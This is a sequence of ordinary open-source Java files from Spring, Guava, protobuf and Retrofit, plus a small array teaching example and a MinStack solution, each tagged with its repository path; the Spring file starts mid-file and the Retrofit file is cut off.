APPLICATION_GRAPHQL_RESPONSE = new MediaType("application", "graphql-response+json"); APPLICATION_JSON = new MediaType("application", "json"); APPLICATION_JSON_UTF8 = new MediaType("application", "json", StandardCharsets.UTF_8); APPLICATION_NDJSON = new MediaType("application", "x-ndjson"); APPLICATION_OCTET_STREAM = new MediaType("application", "octet-stream"); APPLICATION_PDF = new MediaType("application", "pdf"); APPLICATION_PROBLEM_JSON = new MediaType("application", "problem+json"); APPLICATION_PROBLEM_JSON_UTF8 = new MediaType("application", "problem+json", StandardCharsets.UTF_8); APPLICATION_PROBLEM_XML = new MediaType("application", "problem+xml"); APPLICATION_PROTOBUF = new MediaType("application", "x-protobuf"); APPLICATION_RSS_XML = new MediaType("application", "rss+xml"); APPLICATION_STREAM_JSON = new MediaType("application", "stream+json"); APPLICATION_XHTML_XML = new MediaType("application", "xhtml+xml"); APPLICATION_XML = new MediaType("application", "xml"); APPLICATION_YAML = new MediaType("application", "yaml"); IMAGE_GIF = new MediaType("image", "gif"); IMAGE_JPEG = new MediaType("image", "jpeg"); IMAGE_PNG = new MediaType("image", "png"); MULTIPART_FORM_DATA = new MediaType("multipart", "form-data"); MULTIPART_MIXED = new MediaType("multipart", "mixed"); MULTIPART_RELATED = new MediaType("multipart", "related"); TEXT_EVENT_STREAM = new MediaType("text", "event-stream"); TEXT_HTML = new MediaType("text", "html"); TEXT_MARKDOWN = new MediaType("text", "markdown"); TEXT_PLAIN = new MediaType("text", "plain"); TEXT_XML = new MediaType("text", "xml"); } /** * Create a new {@code MediaType} for the given primary type. * <p>The {@linkplain #getSubtype() subtype} is set to "&#42;", parameters empty. * @param type the primary type * @throws IllegalArgumentException if any of the parameters contain illegal characters */ public MediaType(String type) { super(type); } /** * Create a new {@code MediaType} for the given primary type and subtype. * <p>The parameters are empty. * @param type the primary type * @param subtype the subtype * @throws IllegalArgumentException if any of the parameters contain illegal characters */ public MediaType(String type, String subtype) { super(type, subtype, Collections.emptyMap()); } /** * Create a new {@code MediaType} for the given type, subtype, and character set. * @param type the primary type * @param subtype the subtype * @param charset the character set * @throws IllegalArgumentException if any of the parameters contain illegal characters */ public MediaType(String type, String subtype, Charset charset) { super(type, subtype, charset); } /** * Create a new {@code MediaType} for the given type, subtype, and quality value. * @param type the primary type * @param subtype the subtype * @param qualityValue the quality value * @throws IllegalArgumentException if any of the parameters contain illegal characters */ public MediaType(String type, String subtype, double qualityValue) { this(type, subtype, Collections.singletonMap(PARAM_QUALITY_FACTOR, Double.toString(qualityValue))); } /** * Copy-constructor that copies the type, subtype and parameters of the given * {@code MediaType}, and allows to set the specified character set. * @param other the other media type * @param charset the character set * @throws IllegalArgumentException if any of the parameters contain illegal characters * @since 4.3 */ public MediaType(MediaType other, Charset charset) { super(other, charset); } /** * Copy-constructor that copies the type and subtype of the given {@code MediaType}, * and allows for different parameters. * @param other the other media type * @param parameters the parameters, may be {@code null} * @throws IllegalArgumentException if any of the parameters contain illegal characters */ public MediaType(MediaType other, @Nullable Map<String, String> parameters) { super(other.getType(), other.getSubtype(), parameters); } /** * Create a new {@code MediaType} for the given type, subtype, and parameters. * @param type the primary type * @param subtype the subtype * @param parameters the parameters, may be {@code null} * @throws IllegalArgumentException if any of the parameters contain illegal characters */ public MediaType(String type, String subtype, @Nullable Map<String, String> parameters) { super(type, subtype, parameters); } /** * Create a new {@code MediaType} for the given {@link MimeType}. * The type, subtype and parameters information is copied and {@code MediaType}-specific * checks on parameters are performed. * @param mimeType the MIME type * @throws IllegalArgumentException if any of the parameters contain illegal characters * @since 5.3 */ public MediaType(MimeType mimeType) { super(mimeType); getParameters().forEach(this::checkParameters); } @Override protected void checkParameters(String parameter, String value) { super.checkParameters(parameter, value); if (PARAM_QUALITY_FACTOR.equals(parameter)) { String unquotedValue = unquote(value); double d = Double.parseDouble(unquotedValue); Assert.isTrue(d >= 0D && d <= 1D, () -> "Invalid quality value \"" + unquotedValue + "\": should be between 0.0 and 1.0"); } } /** * Return the quality factor, as indicated by a {@code q} parameter, if any. * Defaults to {@code 1.0}. * @return the quality factor as double value */ public double getQualityValue() { String qualityFactor = getParameter(PARAM_QUALITY_FACTOR); return (qualityFactor != null ? Double.parseDouble(unquote(qualityFactor)) : 1D); } /** * Indicates whether this {@code MediaType} more specific than the given type. * <ol> * <li>if this media type has a {@linkplain #getQualityValue() quality factor} higher than the other, * then this method returns {@code true}.</li> * <li>if this media type has a {@linkplain #getQualityValue() quality factor} lower than the other, * then this method returns {@code false}.</li> * <li>if this mime type has a {@linkplain #isWildcardType() wildcard type}, * and the other does not, then this method returns {@code false}.</li> * <li>if this mime type does not have a {@linkplain #isWildcardType() wildcard type}, * and the other does, then this method returns {@code true}.</li> * <li>if this mime type has a {@linkplain #isWildcardType() wildcard type}, * and the other does not, then this method returns {@code false}.</li> * <li>if this mime type does not have a {@linkplain #isWildcardType() wildcard type}, * and the other does, then this method returns {@code true}.</li> * <li>if the two mime types have identical {@linkplain #getType() type} and * {@linkplain #getSubtype() subtype}, then the mime type with the most * parameters is more specific than the other.</li> * <li>Otherwise, this method returns {@code false}.</li> * </ol> * @param other the {@code MimeType} to be compared * @return the result of the comparison * @since 6.0 * @see #isLessSpecific(MimeType) * @see <a href="https://tools.ietf.org/html/rfc7231#section-5.3.2">HTTP 1.1: Semantics * and Content, section 5.3.2</a> */ @Override public boolean isMoreSpecific(MimeType other) { Assert.notNull(other, "Other must not be null"); if (other instanceof MediaType otherMediaType) { double quality1 = getQualityValue(); double quality2 = otherMediaType.getQualityValue(); if (quality1 > quality2) { return true; } else if (quality1 < quality2) { return false; } } return super.isMoreSpecific(other); } /** * Indicates whether this {@code MediaType} more specific than the given type. * <ol> * <li>if this media type has a {@linkplain #getQualityValue() quality factor} higher than the other, * then this method returns {@code false}.</li> * <li>if this media type has a {@linkplain #getQualityValue() quality factor} lower than the other, * then this method returns {@code true}.</li> * <li>if this mime type has a {@linkplain #isWildcardType() wildcard type}, * and the other does not, then this method returns {@code true}.</li> * <li>if this mime type does not have a {@linkplain #isWildcardType() wildcard type}, * and the other does, then this method returns {@code false}.</li> * <li>if this mime type has a {@linkplain #isWildcardType() wildcard type}, * and the other does not, then this method returns {@code true}.</li> * <li>if this mime type does not have a {@linkplain #isWildcardType() wildcard type}, * and the other does, then this method returns {@code false}.</li> * <li>if the two mime types have identical {@linkplain #getType() type} and * {@linkplain #getSubtype() subtype}, then the mime type with the least * parameters is less specific than the other.</li> * <li>Otherwise, this method returns {@code false}.</li> * </ol> * @param other the {@code MimeType} to be compared * @return the result of the comparison * @since 6.0 * @see #isMoreSpecific(MimeType) * @see <a href="https://tools.ietf.org/html/rfc7231#section-5.3.2">HTTP 1.1: Semantics * and Content, section 5.3.2</a> */ @Override public boolean isLessSpecific(MimeType other) { Assert.notNull(other, "Other must not be null"); return other.isMoreSpecific(this); } /** * Indicate whether this {@code MediaType} includes the given media type. * <p>For instance, {@code text/*} includes {@code text/plain} and {@code text/html}, * and {@code application/*+xml} includes {@code application/soap+xml}, etc. * This method is <b>not</b> symmetric. * <p>Simply calls {@link MimeType#includes(MimeType)} but declared with a * {@code MediaType} parameter for binary backwards compatibility. * @param other the reference media type with which to compare * @return {@code true} if this media type includes the given media type; * {@code false} otherwise */ public boolean includes(@Nullable MediaType other) { return super.includes(other); } /** * Indicate whether this {@code MediaType} is compatible with the given media type. * <p>For instance, {@code text/*} is compatible with {@code text/plain}, * {@code text/html}, and vice versa. In effect, this method is similar to * {@link #includes}, except that it <b>is</b> symmetric. * <p>Simply calls {@link MimeType#isCompatibleWith(MimeType)} but declared with a * {@code MediaType} parameter for binary backwards compatibility. * @param other the reference media type with which to compare * @return {@code true} if this media type is compatible with the given media type; * {@code false} otherwise */ public boolean isCompatibleWith(@Nullable MediaType other) { return super.isCompatibleWith(other); } /** * Return a replica of this instance with the quality value of the given {@code MediaType}. * @return the same instance if the given MediaType doesn't have a quality value, * or a new one otherwise */ public MediaType copyQualityValue(MediaType mediaType) { if (!mediaType.getParameters().containsKey(PARAM_QUALITY_FACTOR)) { return this; } Map<String, String> params = new LinkedHashMap<>(getParameters()); params.put(PARAM_QUALITY_FACTOR, mediaType.getParameters().get(PARAM_QUALITY_FACTOR)); return new MediaType(this, params); } /** * Return a replica of this instance with its quality value removed. * @return the same instance if the media type doesn't contain a quality value, * or a new one otherwise */ public MediaType removeQualityValue() { if (!getParameters().containsKey(PARAM_QUALITY_FACTOR)) { return this; } Map<String, String> params = new LinkedHashMap<>(getParameters()); params.remove(PARAM_QUALITY_FACTOR); return new MediaType(this, params); } /** * Parse the given String value into a {@code MediaType} object, * with this method name following the 'valueOf' naming convention * (as supported by {@link org.springframework.core.convert.ConversionService}. * @param value the string to parse * @throws InvalidMediaTypeException if the media type value cannot be parsed * @see #parseMediaType(String) */ public static MediaType valueOf(String value) { return parseMediaType(value); } /** * Parse the given String into a single {@code MediaType}. * @param mediaType the string to parse * @return the media type * @throws InvalidMediaTypeException if the media type value cannot be parsed */ public static MediaType parseMediaType(String mediaType) { MimeType type; try { type = MimeTypeUtils.parseMimeType(mediaType); } catch (InvalidMimeTypeException ex) { throw new InvalidMediaTypeException(ex); } try { return new MediaType(type); } catch (IllegalArgumentException ex) { throw new InvalidMediaTypeException(mediaType, ex.getMessage()); } } /** * Parse the comma-separated string into a list of {@code MediaType} objects. * <p>This method can be used to parse an Accept or Content-Type header. * @param mediaTypes the string to parse * @return the list of media types * @throws InvalidMediaTypeException if the media type value cannot be parsed */ public static List<MediaType> parseMediaTypes(@Nullable String mediaTypes) { if (!StringUtils.hasLength(mediaTypes)) { return Collections.emptyList(); } // Avoid using java.util.stream.Stream in hot paths List<String> tokenizedTypes = MimeTypeUtils.tokenize(mediaTypes); List<MediaType> result = new ArrayList<>(tokenizedTypes.size()); for (String type : tokenizedTypes) { if (StringUtils.hasText(type)) { result.add(parseMediaType(type)); } } return result; } /** * Parse the given list of (potentially) comma-separated strings into a * list of {@code MediaType} objects. * <p>This method can be used to parse an Accept or Content-Type header. * @param mediaTypes the string to parse * @return the list of media types * @throws InvalidMediaTypeException if the media type value cannot be parsed * @since 4.3.2 */ public static List<MediaType> parseMediaTypes(@Nullable List<String> mediaTypes) { if (CollectionUtils.isEmpty(mediaTypes)) { return Collections.emptyList(); } else if (mediaTypes.size() == 1) { return parseMediaTypes(mediaTypes.get(0)); } else { List<MediaType> result = new ArrayList<>(8); for (String mediaType : mediaTypes) { result.addAll(parseMediaTypes(mediaType)); } return result; } } /** * Re-create the given mime types as media types. * @since 5.0 */ public static List<MediaType> asMediaTypes(List<MimeType> mimeTypes) { List<MediaType> mediaTypes = new ArrayList<>(mimeTypes.size()); for (MimeType mimeType : mimeTypes) { mediaTypes.add(MediaType.asMediaType(mimeType)); } return mediaTypes; } /** * Re-create the given mime type as a media type. * @since 5.0 */ public static MediaType asMediaType(MimeType mimeType) { if (mimeType instanceof MediaType mediaType) { return mediaType; } return new MediaType(mimeType.getType(), mimeType.getSubtype(), mimeType.getParameters()); } /** * Return a string representation of the given list of {@code MediaType} objects. * <p>This method can be used to for an {@code Accept} or {@code Content-Type} header. * @param mediaTypes the media types to create a string representation for * @return the string representation */ public static String toString(Collection<MediaType> mediaTypes) { return MimeTypeUtils.toString(mediaTypes); } /** * Sorts the given list of {@code MediaType} objects by specificity. * <p>Given two media types: * <ol> * <li>if either media type has a {@linkplain #isWildcardType() wildcard type}, then the media type without the * wildcard is ordered before the other.</li> * <li>if the two media types have different {@linkplain #getType() types}, then they are considered equal and * remain their current order.</li> * <li>if either media type has a {@linkplain #isWildcardSubtype() wildcard subtype}, then the media type without * the wildcard is sorted before the other.</li> * <li>if the two media types have different {@linkplain #getSubtype() subtypes}, then they are considered equal * and remain their current order.</li> * <li>if the two media types have different {@linkplain #getQualityValue() quality value}, then the media type * with the highest quality value is ordered before the other.</li> * <li>if the two media types have a different amount of {@linkplain #getParameter(String) parameters}, then the * media type with the most parameters is ordered before the other.</li> * </ol> * <p>For example: * <blockquote>audio/basic &lt; audio/* &lt; *&#047;*</blockquote> * <blockquote>audio/* &lt; audio/*;q=0.7; audio/*;q=0.3</blockquote> * <blockquote>audio/basic;level=1 &lt; audio/basic</blockquote> * <blockquote>audio/basic == text/html</blockquote> * <blockquote>audio/basic == audio/wave</blockquote> * @param mediaTypes the list of media types to be sorted * @deprecated As of 6.0, in favor of {@link MimeTypeUtils#sortBySpecificity(List)} */ @Deprecated(since = "6.0", forRemoval = true) public static void sortBySpecificity(List<MediaType> mediaTypes) { Assert.notNull(mediaTypes, "'mediaTypes' must not be null"); if (mediaTypes.size() > 1) { mediaTypes.sort(SPECIFICITY_COMPARATOR); } } /** * Sorts the given list of {@code MediaType} objects by quality value. * <p>Given two media types: * <ol> * <li>if the two media types have different {@linkplain #getQualityValue() quality value}, then the media type * with the highest quality value is ordered before the other.</li> * <li>if either media type has a {@linkplain #isWildcardType() wildcard type}, then the media type without the * wildcard is ordered before the other.</li> * <li>if the two media types have different {@linkplain #getType() types}, then they are considered equal and * remain their current order.</li> * <li>if either media type has a {@linkplain #isWildcardSubtype() wildcard subtype}, then the media type without * the wildcard is sorted before the other.</li> * <li>if the two media types have different {@linkplain #getSubtype() subtypes}, then they are considered equal * and remain their current order.</li> * <li>if the two media types have a different amount of {@linkplain #getParameter(String) parameters}, then the * media type with the most parameters is ordered before the other.</li> * </ol> * @param mediaTypes the list of media types to be sorted * @see #getQualityValue() * @deprecated As of 6.0, with no direct replacement */ @Deprecated(since = "6.0", forRemoval = true) public static void sortByQualityValue(List<MediaType> mediaTypes) { Assert.notNull(mediaTypes, "'mediaTypes' must not be null"); if (mediaTypes.size() > 1) { mediaTypes.sort(QUALITY_VALUE_COMPARATOR); } } /** * Sorts the given list of {@code MediaType} objects by specificity as the * primary criteria and quality value the secondary. * @deprecated As of 6.0, in favor of {@link MimeTypeUtils#sortBySpecificity(List)} */ @Deprecated(since = "6.0") public static void sortBySpecificityAndQuality(List<MediaType> mediaTypes) { Assert.notNull(mediaTypes, "'mediaTypes' must not be null"); if (mediaTypes.size() > 1) { mediaTypes.sort(MediaType.SPECIFICITY_COMPARATOR.thenComparing(MediaType.QUALITY_VALUE_COMPARATOR)); } } /** * Comparator used by {@link #sortByQualityValue(List)}. * @deprecated As of 6.0, with no direct replacement */ @Deprecated(since = "6.0", forRemoval = true) public static final Comparator<MediaType> QUALITY_VALUE_COMPARATOR = (mediaType1, mediaType2) -> { double quality1 = mediaType1.getQualityValue(); double quality2 = mediaType2.getQualityValue(); int qualityComparison = Double.compare(quality2, quality1); if (qualityComparison != 0) { return qualityComparison; // audio/*;q=0.7 < audio/*;q=0.3 } else if (mediaType1.isWildcardType() && !mediaType2.isWildcardType()) { // */* < audio/* return 1; } else if (mediaType2.isWildcardType() && !mediaType1.isWildcardType()) { // audio/* > */* return -1; } else if (!mediaType1.getType().equals(mediaType2.getType())) { // audio/basic == text/html return 0; } else { // mediaType1.getType().equals(mediaType2.getType()) if (mediaType1.isWildcardSubtype() && !mediaType2.isWildcardSubtype()) { // audio/* < audio/basic return 1; } else if (mediaType2.isWildcardSubtype() && !mediaType1.isWildcardSubtype()) { // audio/basic > audio/* return -1; } else if (!mediaType1.getSubtype().equals(mediaType2.getSubtype())) { // audio/basic == audio/wave return 0; } else { int paramsSize1 = mediaType1.getParameters().size(); int paramsSize2 = mediaType2.getParameters().size(); return Integer.compare(paramsSize2, paramsSize1); // audio/basic;level=1 < audio/basic } } }; /** * Comparator used by {@link #sortBySpecificity(List)}. * @deprecated As of 6.0, with no direct replacement */ @Deprecated(since = "6.0", forRemoval = true) @SuppressWarnings("removal") public static final Comparator<MediaType> SPECIFICITY_COMPARATOR = new SpecificityComparator<>() { @Override protected int compareParameters(MediaType mediaType1, MediaType mediaType2) { double quality1 = mediaType1.getQualityValue(); double quality2 = mediaType2.getQualityValue(); int qualityComparison = Double.compare(quality2, quality1); if (qualityComparison != 0) { return qualityComparison; // audio/*;q=0.7 < audio/*;q=0.3 } return super.compareParameters(mediaType1, mediaType2); } }; }
spring-projects/spring-framework
spring-web/src/main/java/org/springframework/http/MediaType.java
410
/* * Copyright (C) 2011 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.cache; import com.google.common.annotations.GwtCompatible; import com.google.common.collect.ImmutableMap; import com.google.common.util.concurrent.ExecutionError; import com.google.common.util.concurrent.UncheckedExecutionException; import com.google.errorprone.annotations.CanIgnoreReturnValue; import com.google.errorprone.annotations.CompatibleWith; import com.google.errorprone.annotations.DoNotMock; import java.util.Map; import java.util.concurrent.Callable; import java.util.concurrent.ConcurrentMap; import java.util.concurrent.ExecutionException; import javax.annotation.CheckForNull; /** * A semi-persistent mapping from keys to values. Cache entries are manually added using {@link * #get(Object, Callable)} or {@link #put(Object, Object)}, and are stored in the cache until either * evicted or manually invalidated. The common way to build instances is using {@link CacheBuilder}. * * <p>Implementations of this interface are expected to be thread-safe, and can be safely accessed * by multiple concurrent threads. * * @param <K> the type of the cache's keys, which are not permitted to be null * @param <V> the type of the cache's values, which are not permitted to be null * @author Charles Fry * @since 10.0 */ @DoNotMock("Use CacheBuilder.newBuilder().build()") @GwtCompatible @ElementTypesAreNonnullByDefault public interface Cache<K, V> { /** * Returns the value associated with {@code key} in this cache, or {@code null} if there is no * cached value for {@code key}. * * @since 11.0 */ @CheckForNull @CanIgnoreReturnValue // TODO(b/27479612): consider removing this? V getIfPresent(@CompatibleWith("K") Object key); /** * Returns the value associated with {@code key} in this cache, obtaining that value from {@code * loader} if necessary. The method improves upon the conventional "if cached, return; otherwise * create, cache and return" pattern. For further improvements, use {@link LoadingCache} and its * {@link LoadingCache#get(Object) get(K)} method instead of this one. * * <p>Among the improvements that this method and {@code LoadingCache.get(K)} both provide are: * * <ul> * <li>{@linkplain LoadingCache#get(Object) awaiting the result of a pending load} rather than * starting a redundant one * <li>eliminating the error-prone caching boilerplate * <li>tracking load {@linkplain #stats statistics} * </ul> * * <p>Among the further improvements that {@code LoadingCache} can provide but this method cannot: * * <ul> * <li>consolidation of the loader logic to {@linkplain CacheBuilder#build(CacheLoader) a single * authoritative location} * <li>{@linkplain LoadingCache#refresh refreshing of entries}, including {@linkplain * CacheBuilder#refreshAfterWrite automated refreshing} * <li>{@linkplain LoadingCache#getAll bulk loading requests}, including {@linkplain * CacheLoader#loadAll bulk loading implementations} * </ul> * * <p><b>Warning:</b> For any given key, every {@code loader} used with it should compute the same * value. Otherwise, a call that passes one {@code loader} may return the result of another call * with a differently behaving {@code loader}. For example, a call that requests a short timeout * for an RPC may wait for a similar call that requests a long timeout, or a call by an * unprivileged user may return a resource accessible only to a privileged user making a similar * call. To prevent this problem, create a key object that includes all values that affect the * result of the query. Or use {@code LoadingCache.get(K)}, which lacks the ability to refer to * state other than that in the key. * * <p><b>Warning:</b> as with {@link CacheLoader#load}, {@code loader} <b>must not</b> return * {@code null}; it may either return a non-null value or throw an exception. * * <p>No observable state associated with this cache is modified until loading completes. * * @throws ExecutionException if a checked exception was thrown while loading the value * @throws UncheckedExecutionException if an unchecked exception was thrown while loading the * value * @throws ExecutionError if an error was thrown while loading the value * @since 11.0 */ @CanIgnoreReturnValue // TODO(b/27479612): consider removing this V get(K key, Callable<? extends V> loader) throws ExecutionException; /** * Returns a map of the values associated with {@code keys} in this cache. The returned map will * only contain entries which are already present in the cache. * * @since 11.0 */ /* * <? extends Object> is mostly the same as <?> to plain Java. But to nullness checkers, they * differ: <? extends Object> means "non-null types," while <?> means "all types." */ ImmutableMap<K, V> getAllPresent(Iterable<? extends Object> keys); /** * Associates {@code value} with {@code key} in this cache. If the cache previously contained a * value associated with {@code key}, the old value is replaced by {@code value}. * * <p>Prefer {@link #get(Object, Callable)} when using the conventional "if cached, return; * otherwise create, cache and return" pattern. * * @since 11.0 */ void put(K key, V value); /** * Copies all of the mappings from the specified map to the cache. The effect of this call is * equivalent to that of calling {@code put(k, v)} on this map once for each mapping from key * {@code k} to value {@code v} in the specified map. The behavior of this operation is undefined * if the specified map is modified while the operation is in progress. * * @since 12.0 */ void putAll(Map<? extends K, ? extends V> m); /** Discards any cached value for key {@code key}. */ void invalidate(@CompatibleWith("K") Object key); /** * Discards any cached values for keys {@code keys}. * * @since 11.0 */ // For discussion of <? extends Object>, see getAllPresent. void invalidateAll(Iterable<? extends Object> keys); /** Discards all entries in the cache. */ void invalidateAll(); /** Returns the approximate number of entries in this cache. */ long size(); /** * Returns a current snapshot of this cache's cumulative statistics, or a set of default values if * the cache is not recording statistics. All statistics begin at zero and never decrease over the * lifetime of the cache. * * <p><b>Warning:</b> this cache may not be recording statistical data. For example, a cache * created using {@link CacheBuilder} only does so if the {@link CacheBuilder#recordStats} method * was called. If statistics are not being recorded, a {@code CacheStats} instance with zero for * all values is returned. * */ CacheStats stats(); /** * Returns a view of the entries stored in this cache as a thread-safe map. Modifications made to * the map directly affect the cache. * * <p>Iterators from the returned map are at least <i>weakly consistent</i>: they are safe for * concurrent use, but if the cache is modified (including by eviction) after the iterator is * created, it is undefined which of the changes (if any) will be reflected in that iterator. */ ConcurrentMap<K, V> asMap(); /** * Performs any pending maintenance operations needed by the cache. Exactly which activities are * performed -- if any -- is implementation-dependent. */ void cleanUp(); }
google/guava
guava/src/com/google/common/cache/Cache.java
411
package array; /** * 1) 数组的插入、删除、按照下标随机访问操作; * 2)数组中的数据是int类型的; * * Author: Zheng * modify: xing, Gsealy */ public class Array { //定义整型数据data保存数据 public int data[]; //定义数组长度 private int n; //定义中实际个数 private int count; //构造方法,定义数组大小 public Array(int capacity){ this.data = new int[capacity]; this.n = capacity; this.count=0;//一开始一个数都没有存所以为0 } //根据索引,找到数据中的元素并返回 public int find(int index){ if (index<0 || index>=count) return -1; return data[index]; } //插入元素:头部插入,尾部插入 public boolean insert(int index, int value){ //数组中无元素 //if (index == count && count == 0) { // data[index] = value; // ++count; // return true; //} // 数组空间已满 if (count == n) { System.out.println("没有可插入的位置"); return false; } // 如果count还没满,那么就可以插入数据到数组中 // 位置不合法 if (index < 0||index > count ) { System.out.println("位置不合法"); return false; } // 位置合法 for( int i = count; i > index; --i){ data[i] = data[i - 1]; } data[index] = value; ++count; return true; } //根据索引,删除数组中元素 public boolean delete(int index){ if (index<0 || index >=count) return false; //从删除位置开始,将后面的元素向前移动一位 for (int i=index+1; i<count; ++i){ data[i-1] = data[i]; } //删除数组末尾元素 这段代码不需要也可以 /*int[] arr = new int[count-1]; for (int i=0; i<count-1;i++){ arr[i] = data[i]; } this.data = arr;*/ --count; return true; } public void printAll() { for (int i = 0; i < count; ++i) { System.out.print(data[i] + " "); } System.out.println(); } public static void main(String[] args) { Array array = new Array(5); array.printAll(); array.insert(0, 3); array.insert(0, 4); array.insert(1, 5); array.insert(3, 9); array.insert(3, 10); //array.insert(3, 11); array.printAll(); } }
wangzheng0822/algo
java/05_array/Array.java
412
// Protocol Buffers - Google's data interchange format // Copyright 2008 Google Inc. All rights reserved. // // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file or at // https://developers.google.com/open-source/licenses/bsd package com.google.protobuf; /** * Provides the version of this Protobuf Java runtime, and methods for Protobuf Java gencode to * validate that versions are compatible. Fields and methods in this class should be only accessed * by related unit tests and Protobuf Java gencode, and should not be used elsewhere. */ public final class RuntimeVersion { /** Indicates the domain of the Protobuf artifact. */ public enum RuntimeDomain { GOOGLE_INTERNAL, PUBLIC, } // The version of this runtime. // Automatically updated by Protobuf release process. Do not edit manually. // These OSS versions are not stripped to avoid merging conflicts. public static final RuntimeDomain OSS_DOMAIN = RuntimeDomain.PUBLIC; public static final int OSS_MAJOR = 4; public static final int OSS_MINOR = 28; public static final int OSS_PATCH = 0; public static final String OSS_SUFFIX = "-dev"; public static final RuntimeDomain DOMAIN = OSS_DOMAIN; public static final int MAJOR = OSS_MAJOR; public static final int MINOR = OSS_MINOR; public static final int PATCH = OSS_PATCH; public static final String SUFFIX = OSS_SUFFIX; private static final String VERSION_STRING = versionString(MAJOR, MINOR, PATCH, SUFFIX); /** * Validates that the gencode version is compatible with this runtime version according to * https://protobuf.dev/support/cross-version-runtime-guarantee/. * * <p>This method is currently only used by Protobuf Java **full version** gencode. Do not call it * elsewhere. * * @param domain the domain where Protobuf Java code was generated. * @param major the major version of Protobuf Java gencode. * @param minor the minor version of Protobuf Java gencode. * @param patch the micro/patch version of Protobuf Java gencode. * @param suffix the version suffix e.g. "-rc2", "-dev", etc. * @param location the debugging location e.g. generated Java class to put in the error messages. * @throws ProtobufRuntimeVersionException if versions are incompatible. */ public static void validateProtobufGencodeVersion( RuntimeDomain domain, int major, int minor, int patch, String suffix, String location) { if (checkDisabled()) { return; } validateProtobufGencodeVersionImpl(domain, major, minor, patch, suffix, location); } /** The actual implementation of version validation. */ private static void validateProtobufGencodeVersionImpl( RuntimeDomain domain, int major, int minor, int patch, String suffix, String location) { if (checkDisabled()) { return; } String gencodeVersionString = versionString(major, minor, patch, suffix); // Check that version numbers are valid. if (major < 0 || minor < 0 || patch < 0) { throw new ProtobufRuntimeVersionException("Invalid gencode version: " + gencodeVersionString); } // Check that runtime domain is the same as the gencode domain. if (domain != DOMAIN) { throw new ProtobufRuntimeVersionException( String.format( "Detected mismatched Protobuf Gencode/Runtime domains when loading %s: gencode %s," + " runtime %s. Cross-domain usage of Protobuf is not supported.", location, domain, DOMAIN)); } // Check that runtime major version is the same as the gencode major version. if (major != MAJOR) { throw new ProtobufRuntimeVersionException( String.format( "Detected mismatched Protobuf Gencode/Runtime major versions when loading %s: gencode" + " %s, runtime %s. Same major version is required.", location, gencodeVersionString, VERSION_STRING)); } // Check that runtime version is newer than the gencode version. if (MINOR < minor || (minor == MINOR && PATCH < patch)) { throw new ProtobufRuntimeVersionException( String.format( "Detected incompatible Protobuf Gencode/Runtime versions when loading %s: gencode %s," + " runtime %s. Runtime version cannot be older than the linked gencode version.", location, gencodeVersionString, VERSION_STRING)); } // Check that runtime version suffix is the same as the gencode version suffix. if (!suffix.equals(SUFFIX)) { throw new ProtobufRuntimeVersionException( String.format( "Detected mismatched Protobuf Gencode/Runtime version suffixes when loading %s:" + " gencode %s, runtime %s. Version suffixes must be the same.", location, gencodeVersionString, VERSION_STRING)); } } /** * A runtime exception to be thrown by the version validator if version is not well defined or * versions mismatch. */ public static final class ProtobufRuntimeVersionException extends RuntimeException { public ProtobufRuntimeVersionException(String message) { super(message); } } /** Gets the version string given the version segments. */ private static String versionString(int major, int minor, int patch, String suffix) { return String.format("%d.%d.%d%s", major, minor, patch, suffix); } private static boolean checkDisabled() { // Check the environmental variable, and temporarily disable validation if it's set to true. String disableFlag = java.lang.System.getenv("TEMORARILY_DISABLE_PROTOBUF_VERSION_CHECK"); if ((disableFlag != null && disableFlag.equals("true"))) { return true; } return false; } private RuntimeVersion() {} }
protocolbuffers/protobuf
java/core/src/main/java/com/google/protobuf/RuntimeVersion.java
413
class MinStack { private Stack<Integer> _data; private Stack<Integer> _min; /** initialize your data structure here. */ public MinStack() { _data = new Stack<>(); _min = new Stack<>(); } public void push(int x) { _data.add(x); if (_min.isEmpty()){ _min.push(x); } else{ if (x > _min.peek()){ x = _min.peek(); } _min.push(x); } } public void pop() { _data.pop(); _min.pop(); } public int top() { return _data.peek(); } public int getMin() { return _min.peek(); } }
MisterBooo/LeetCodeAnimation
0155-min-stack/Code/1.java
414
/* * Copyright (C) 2012 Square, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package retrofit2; import static java.util.Collections.unmodifiableList; import java.lang.annotation.Annotation; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Modifier; import java.lang.reflect.Proxy; import java.lang.reflect.Type; import java.net.URL; import java.util.ArrayDeque; import java.util.ArrayList; import java.util.Collections; import java.util.Deque; import java.util.List; import java.util.Objects; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.Executor; import javax.annotation.Nullable; import okhttp3.HttpUrl; import okhttp3.OkHttpClient; import okhttp3.RequestBody; import okhttp3.ResponseBody; import retrofit2.http.GET; import retrofit2.http.HTTP; import retrofit2.http.Header; import retrofit2.http.Url; /** * Retrofit adapts a Java interface to HTTP calls by using annotations on the declared methods to * define how requests are made. Create instances using {@linkplain Builder the builder} and pass * your interface to {@link #create} to generate an implementation. * * <p>For example, * * <pre><code> * Retrofit retrofit = new Retrofit.Builder() * .baseUrl("https://api.example.com/") * .addConverterFactory(GsonConverterFactory.create()) * .build(); * * MyApi api = retrofit.create(MyApi.class); * Response&lt;User&gt; user = api.getUser().execute(); * </code></pre> * * @author Bob Lee (bob@squareup.com) * @author Jake Wharton (jw@squareup.com) */ public final class Retrofit { /** * Method associations in this map will be in one of three states, and may only progress forward * to higher-numbered states. * <ol> * <li>No value - no one has started or completed parsing annotations for the method.</li> * <li>Lock object - a thread has started parsing annotations on the method. Once the lock is * available the map will have been updated with the parsed model.</li> * <li>{@code ServiceMethod} - annotations for the method have been fully parsed.</li> * </ol> * This map should only be accessed through {@link #loadServiceMethod} which contains the state * transition logic. */ private final ConcurrentHashMap<Method, Object> serviceMethodCache = new ConcurrentHashMap<>(); final 